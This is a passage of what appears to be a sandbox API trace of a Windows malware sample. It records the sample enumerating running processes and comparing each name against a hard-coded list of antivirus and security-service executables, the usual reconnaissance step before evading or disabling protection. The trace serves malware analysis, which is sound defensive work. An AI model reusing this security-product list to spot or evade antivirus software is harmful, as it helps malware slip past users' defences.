[0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="SavService.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="fshoster32.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="WRSA.exe") returned -1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="vkise.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="isesrv.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="cmdagent.exe") returned 1 [0259.587] lstrcmpiA (lpString1="wininit.exe", lpString2="ByteFence.exe") returned 1 [0259.588] lstrcmpiA (lpString1="wininit.exe", lpString2="MBAMService.exe") returned 1 [0259.588] lstrcmpiA (lpString1="wininit.exe", lpString2="mbamgui.exe") returned 1 [0259.588] lstrcmpiA (lpString1="wininit.exe", lpString2="fmon.exe") returned 1 [0259.588] Sleep (dwMilliseconds=0xa) [0259.614] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0259.616] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0259.617] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0259.617] Sleep (dwMilliseconds=0xa) [0259.632] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="ccSvcHst.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrvx.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgsvcx.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrva.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="MsMpEng.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="mcshield.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="avp.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="kavtray.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="egui.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="ekrn.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="bdagent.exe") returned 1 [0259.633] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsserv.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsservppl.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="AvastSvc.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="coreServiceShell.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="PccNTMon.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="NTRTScan.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="SAVAdminService.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="SavService.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="fshoster32.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="WRSA.exe") returned -1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="vkise.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="isesrv.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="cmdagent.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="ByteFence.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="MBAMService.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="mbamgui.exe") returned 1 [0259.634] lstrcmpiA (lpString1="winlogon.exe", lpString2="fmon.exe") returned 1 [0259.634] Sleep (dwMilliseconds=0xa) [0259.648] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="ccSvcHst.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrvx.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="avgsvcx.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrva.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="MsMpEng.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="mcshield.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="avp.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="kavtray.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="egui.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="ekrn.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="bdagent.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="vsserv.exe") returned -1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="vsservppl.exe") returned -1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="AvastSvc.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="coreServiceShell.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="PccNTMon.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="NTRTScan.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="SAVAdminService.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="SavService.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="fshoster32.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="WRSA.exe") returned -1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="vkise.exe") returned -1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="isesrv.exe") returned 1 [0259.649] lstrcmpiA (lpString1="services.exe", lpString2="cmdagent.exe") returned 1 [0259.650] lstrcmpiA (lpString1="services.exe", lpString2="ByteFence.exe") returned 1 [0259.650] lstrcmpiA (lpString1="services.exe", lpString2="MBAMService.exe") returned 1 [0259.650] lstrcmpiA (lpString1="services.exe", lpString2="mbamgui.exe") returned 1 [0259.650] lstrcmpiA (lpString1="services.exe", lpString2="fmon.exe") returned 1 [0259.650] Sleep (dwMilliseconds=0xa) [0259.664] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.664] lstrcmpiA (lpString1="lsass.exe", lpString2="ccSvcHst.exe") returned 1 [0259.664] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrvx.exe") returned 1 [0259.664] lstrcmpiA (lpString1="lsass.exe", lpString2="avgsvcx.exe") returned 1 [0259.664] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrva.exe") returned 1 [0259.664] lstrcmpiA (lpString1="lsass.exe", lpString2="MsMpEng.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="mcshield.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="avp.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="kavtray.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="egui.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="ekrn.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="bdagent.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="vsserv.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="vsservppl.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="AvastSvc.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="coreServiceShell.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="PccNTMon.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="NTRTScan.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="SAVAdminService.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="SavService.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="fshoster32.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="WRSA.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="vkise.exe") returned -1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="isesrv.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="cmdagent.exe") returned 1 [0259.665] lstrcmpiA (lpString1="lsass.exe", lpString2="ByteFence.exe") returned 1 [0259.680] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.695] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.711] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0259.726] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.742] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.772] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.789] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.805] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.820] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.836] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.851] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.896] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.930] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.965] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.976] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.992] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.008] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.024] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.492] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.515] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.619] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.669] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0260.717] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0260.790] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0260.805] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.874] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.314] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.374] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0263.423] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0263.469] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0263.516] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0263.558] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0263.578] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0263.595] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0263.625] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0263.642] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0263.657] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0263.672] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0263.688] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0263.704] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0263.725] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0263.752] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0263.766] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0263.782] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0263.817] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0263.855] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0263.882] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0264.434] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0264.520] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | 